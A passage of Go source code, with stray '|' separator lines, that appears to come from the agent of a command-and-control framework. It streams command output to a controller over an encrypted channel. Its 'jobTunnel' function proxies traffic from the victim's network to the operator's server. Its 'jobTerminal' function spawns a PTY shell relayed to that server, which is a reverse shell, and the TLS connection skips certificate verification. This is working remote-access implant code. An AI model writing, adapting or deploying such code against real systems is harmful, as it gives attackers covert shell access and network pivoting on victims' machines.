buf := make([]byte, 2*1024)
|
|
for {
|
|
n, err := stdoutPipe.Read(buf)
|
|
if n > 0 {
|
|
stdoutMu.Lock()
|
|
stdoutBuf.Write(buf[:n])
|
|
stdoutMu.Unlock()
|
|
}
|
|
if err == io.EOF {
|
|
break
|
|
}
|
|
if err != nil {
|
|
break
|
|
}
|
|
}
|
|
}()
|
|
go func() {
|
|
defer wg.Done()
|
|
buf := make([]byte, 2*1024)
|
|
for {
|
|
n, err := stderrPipe.Read(buf)
|
|
if n > 0 {
|
|
stderrMu.Lock()
|
|
stderrBuf.Write(buf[:n])
|
|
stderrMu.Unlock()
|
|
}
|
|
if err == io.EOF {
|
|
break
|
|
}
|
|
if err != nil {
|
|
break
|
|
}
|
|
}
|
|
}()
|
|
|
|
done := make(chan struct{})
|
|
var lastOutLen, lastErrLen int
|
|
const maxChunkSize = 0x10000 // 65 Kb
|
|
go func() {
|
|
ticker := time.NewTicker(1 * time.Second)
|
|
defer ticker.Stop()
|
|
for {
|
|
select {
|
|
case <-done:
|
|
return
|
|
|
|
case <-ticker.C:
|
|
ansRun := utils.AnsRun{Pid: pid}
|
|
stdoutMu.Lock()
|
|
out := stdoutBuf.String()
|
|
stdoutMu.Unlock()
|
|
if len(out) > lastOutLen {
|
|
chunk := out[lastOutLen:]
|
|
if len(chunk) > maxChunkSize {
|
|
ansRun.Stdout = chunk[:maxChunkSize]
|
|
lastOutLen += maxChunkSize
|
|
} else {
|
|
ansRun.Stdout = chunk
|
|
lastOutLen = len(out)
|
|
}
|
|
}
|
|
|
|
stderrMu.Lock()
|
|
errOut := stderrBuf.String()
|
|
stderrMu.Unlock()
|
|
if len(errOut) > lastErrLen {
|
|
chunk := errOut[lastErrLen:]
|
|
if len(chunk) > maxChunkSize {
|
|
ansRun.Stderr = chunk[:maxChunkSize]
|
|
lastErrLen += maxChunkSize
|
|
} else {
|
|
ansRun.Stderr = chunk
|
|
lastErrLen = len(errOut)
|
|
}
|
|
}
|
|
|
|
if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 {
|
|
job.Data, _ = msgpack.Marshal(ansRun)
|
|
packedJob, _ := msgpack.Marshal(job)
|
|
|
|
message := utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
|
|
sendData, _ := msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
functions.SendMsg(conn, sendData)
|
|
}
|
|
}
|
|
}
|
|
}()
|
|
|
|
time.Sleep(200 * time.Millisecond)
|
|
err = cmd.Wait()
|
|
wg.Wait()
|
|
close(done)
|
|
|
|
stdoutMu.Lock()
|
|
finalOut := stdoutBuf.String()
|
|
stdoutMu.Unlock()
|
|
stderrMu.Lock()
|
|
finalErrOut := stderrBuf.String()
|
|
stderrMu.Unlock()
|
|
|
|
for {
|
|
ansRun := utils.AnsRun{Pid: pid}
|
|
hasMore := false
|
|
|
|
if len(finalOut) > lastOutLen {
|
|
chunk := finalOut[lastOutLen:]
|
|
if len(chunk) > maxChunkSize {
|
|
ansRun.Stdout = chunk[:maxChunkSize]
|
|
lastOutLen += maxChunkSize
|
|
hasMore = true
|
|
} else {
|
|
ansRun.Stdout = chunk
|
|
lastOutLen = len(finalOut)
|
|
}
|
|
}
|
|
|
|
if len(finalErrOut) > lastErrLen {
|
|
chunk := finalErrOut[lastErrLen:]
|
|
if len(chunk) > maxChunkSize {
|
|
ansRun.Stderr = chunk[:maxChunkSize]
|
|
lastErrLen += maxChunkSize
|
|
hasMore = true
|
|
} else {
|
|
ansRun.Stderr = chunk
|
|
lastErrLen = len(finalErrOut)
|
|
}
|
|
}
|
|
|
|
if len(ansRun.Stdout) > 0 || len(ansRun.Stderr) > 0 {
|
|
job.Data, _ = msgpack.Marshal(ansRun)
|
|
packedJob, _ = msgpack.Marshal(job)
|
|
message = utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
sendData, _ = msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
functions.SendMsg(conn, sendData)
|
|
|
|
if hasMore {
|
|
time.Sleep(100 * time.Millisecond)
|
|
}
|
|
}
|
|
|
|
if !hasMore {
|
|
break
|
|
}
|
|
}
|
|
|
|
/// FINISH
|
|
|
|
job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Finish: true})
|
|
packedJob, _ = msgpack.Marshal(job)
|
|
|
|
message = utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
|
|
sendData, _ = msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
functions.SendMsg(conn, sendData)
|
|
}()
|
|
|
|
return nil, nil
|
|
}
|
|
|
|
func jobTunnel(paramsData []byte) {
|
|
var params utils.ParamsTunnelStart
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
go func() {
|
|
active := true
|
|
reason := byte(0)
|
|
clientConn, err := net.DialTimeout(params.Proto, params.Address, 200*time.Millisecond)
|
|
if err != nil {
|
|
active = false
|
|
var opErr *net.OpError
|
|
if errors.As(err, &opErr) {
|
|
if opErr.Timeout() {
|
|
reason = 4
|
|
}
|
|
if errors.Is(syscall.ECONNREFUSED, opErr.Err) {
|
|
reason = 5
|
|
}
|
|
if errors.Is(syscall.ENETUNREACH, opErr.Err) {
|
|
reason = 3
|
|
}
|
|
}
|
|
}
|
|
|
|
var srvConn net.Conn
|
|
if profile.UseSSL {
|
|
cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
|
|
if certerr != nil {
|
|
return
|
|
}
|
|
|
|
caCertPool := x509.NewCertPool()
|
|
caCertPool.AppendCertsFromPEM(profile.CaCert)
|
|
|
|
config := &tls.Config{
|
|
Certificates: []tls.Certificate{cert},
|
|
RootCAs: caCertPool,
|
|
InsecureSkipVerify: true,
|
|
}
|
|
srvConn, err = tls.Dial("tcp", profile.Addresses[0], config)
|
|
|
|
} else {
|
|
srvConn, err = net.Dial("tcp", profile.Addresses[0])
|
|
}
|
|
if err != nil {
|
|
srvConn.Close()
|
|
return
|
|
}
|
|
|
|
tunKey := make([]byte, 16)
|
|
_, _ = rand.Read(tunKey)
|
|
tunIv := make([]byte, 16)
|
|
_, _ = rand.Read(tunIv)
|
|
|
|
jobPack, _ := msgpack.Marshal(utils.TunnelPack{Id: uint(AgentId), Type: profile.Type, ChannelId: params.ChannelId, Key: tunKey, Iv: tunIv, Alive: active, Reason: reason})
|
|
jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.TUNNEL_PACK, Data: jobPack})
|
|
jobMsg, _ = utils.EncryptData(jobMsg, encKey)
|
|
|
|
/// Recv Banner
|
|
if profile.BannerSize > 0 {
|
|
_, err := functions.ConnRead(srvConn, profile.BannerSize)
|
|
if err != nil {
|
|
srvConn.Close()
|
|
return
|
|
}
|
|
}
|
|
|
|
/// Send Init
|
|
functions.SendMsg(srvConn, jobMsg)
|
|
|
|
if !active {
|
|
srvConn.Close()
|
|
return
|
|
}
|
|
|
|
encCipher, _ := aes.NewCipher(tunKey)
|
|
encStream := cipher.NewCTR(encCipher, tunIv)
|
|
streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn}
|
|
|
|
decCipher, _ := aes.NewCipher(tunKey)
|
|
decStream := cipher.NewCTR(decCipher, tunIv)
|
|
streamReader := &cipher.StreamReader{S: decStream, R: srvConn}
|
|
|
|
ctx, cancel := context.WithCancel(context.Background())
|
|
ctrl := &TunnelController{
|
|
Cancel: cancel,
|
|
}
|
|
TUNNELS.Store(params.ChannelId, ctrl)
|
|
defer TUNNELS.Delete(params.ChannelId)
|
|
|
|
var closeOnce sync.Once
|
|
closeAll := func() {
|
|
closeOnce.Do(func() {
|
|
_ = clientConn.Close()
|
|
_ = srvConn.Close()
|
|
})
|
|
}
|
|
|
|
var wg sync.WaitGroup
|
|
wg.Add(2)
|
|
|
|
go func() {
|
|
defer wg.Done()
|
|
io.Copy(clientConn, streamReader)
|
|
closeAll()
|
|
}()
|
|
|
|
go func() {
|
|
defer wg.Done()
|
|
buf := make([]byte, 32*1024)
|
|
for {
|
|
select {
|
|
case <-ctx.Done():
|
|
return
|
|
default:
|
|
if ctrl.Paused.Load() {
|
|
time.Sleep(50 * time.Millisecond)
|
|
continue
|
|
}
|
|
|
|
clientConn.SetReadDeadline(time.Now().Add(500 * time.Millisecond))
|
|
nr, er := clientConn.Read(buf)
|
|
if nr > 0 {
|
|
_, ew := streamWriter.Write(buf[0:nr])
|
|
if ew != nil {
|
|
closeAll()
|
|
return
|
|
}
|
|
}
|
|
if er != nil {
|
|
if netErr, ok := er.(net.Error); ok && netErr.Timeout() {
|
|
continue
|
|
}
|
|
closeAll()
|
|
return
|
|
}
|
|
}
|
|
}
|
|
}()
|
|
|
|
go func() {
|
|
<-ctx.Done()
|
|
closeAll()
|
|
}()
|
|
|
|
wg.Wait()
|
|
|
|
cancel()
|
|
}()
|
|
}
|
|
|
|
func jobTerminal(paramsData []byte) {
|
|
var params utils.ParamsTerminalStart
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
go func() {
|
|
active := true
|
|
status := ""
|
|
|
|
process := exec.Command(params.Program)
|
|
ptyProc, err := functions.StartPtyCommand(process, uint16(params.Width), uint16(params.Height))
|
|
if err != nil {
|
|
active = false
|
|
status = err.Error()
|
|
}
|
|
|
|
var srvConn net.Conn
|
|
if profile.UseSSL {
|
|
cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
|
|
if certerr != nil {
|
|
return
|
|
}
|
|
|
|
caCertPool := x509.NewCertPool()
|
|
caCertPool.AppendCertsFromPEM(profile.CaCert)
|
|
|
|
config := &tls.Config{
|
|
Certificates: []tls.Certificate{cert},
|
|
RootCAs: caCertPool,
|
|
InsecureSkipVerify: true,
|
|
}
|
|
srvConn, err = tls.Dial("tcp", profile.Addresses[0], config)
|
|
|
|
} else {
|
|
srvConn, err = net.Dial("tcp", profile.Addresses[0])
|
|
}
|
|
if err != nil {
|
|
if active {
|
|
functions.StopPty(ptyProc)
|
|
_ = process.Process.Kill()
|
|
}
|
|
return
|
|
}
|
|
|
|
tunKey := make([]byte, 16)
|
|
_, _ = rand.Read(tunKey)
|
|
tunIv := make([]byte, 16)
|
|
_, _ = rand.Read(tunIv)
|
|
|
|
jobPack, _ := msgpack.Marshal(utils.TermPack{Id: uint(AgentId), TermId: params.TermId, Key: tunKey, Iv: tunIv, Alive: active, Status: status})
|
|
jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.TERMINAL_PACK, Data: jobPack})
|
|
jobMsg, _ = utils.EncryptData(jobMsg, encKey)
|
|
|
|
/// Recv Banner
|
|
if profile.BannerSize > 0 {
|
|
_, err := functions.ConnRead(srvConn, profile.BannerSize)
|
|
if err != nil {
|
|
srvConn.Close()
|
|
if active {
|
|
functions.StopPty(ptyProc)
|
|
_ = process.Process.Kill()
|
|
}
|
|
return
|
|
}
|
|
}
|
|
|
|
/// Send Init
|
|
_ = functions.SendMsg(srvConn, jobMsg)
|
|
|
|
if !active {
|
|
srvConn.Close()
|
|
return
|
|
}
|
|
|
|
encCipher, _ := aes.NewCipher(tunKey)
|
|
encStream := cipher.NewCTR(encCipher, tunIv)
|
|
streamWriter := &cipher.StreamWriter{S: encStream, W: srvConn}
|
|
|
|
decCipher, _ := aes.NewCipher(tunKey)
|
|
decStream := cipher.NewCTR(decCipher, tunIv)
|
|
streamReader := &cipher.StreamReader{S: decStream, R: srvConn}
|
|
|
|
ctx, cancel := context.WithCancel(context.Background())
|
|
TERMINALS.Store(params.TermId, cancel)
|
|
defer TERMINALS.Delete(params.TermId)
|
|
|
|
var closeOnce sync.Once
|
|
closeAll := func() {
|
|
closeOnce.Do(func() {
|
|
time.Sleep(200 * time.Millisecond)
|
|
_ = functions.StopPty(ptyProc)
|
|
if functions.IsProcessRunning(process) {
|
|
_ = process.Process.Kill()
|
|
}
|
|
_ = srvConn.Close()
|
|
})
|
|
}
|
|
|
|
var wg sync.WaitGroup
|
|
wg.Add(2)
|
|
|
|
go func() {
|
|
defer wg.Done()
|
|
functions.RelayConnToPty(ptyProc, streamReader)
|
|
closeAll()
|
|
}()
|
|
|
|
go func() {
|
|
defer wg.Done()
|
|
functions.RelayPtyToConn(streamWriter, ptyProc)
|
|
closeAll()
|
|
}()
|
|
|
|
go func() {
|
|
<-ctx.Done()
|
|
closeAll()
|
|
}()
|
|
|
|
wg.Wait()
|
|
_ = process.Wait()
|
|
cancel()
|
|
}()
|
|
}
|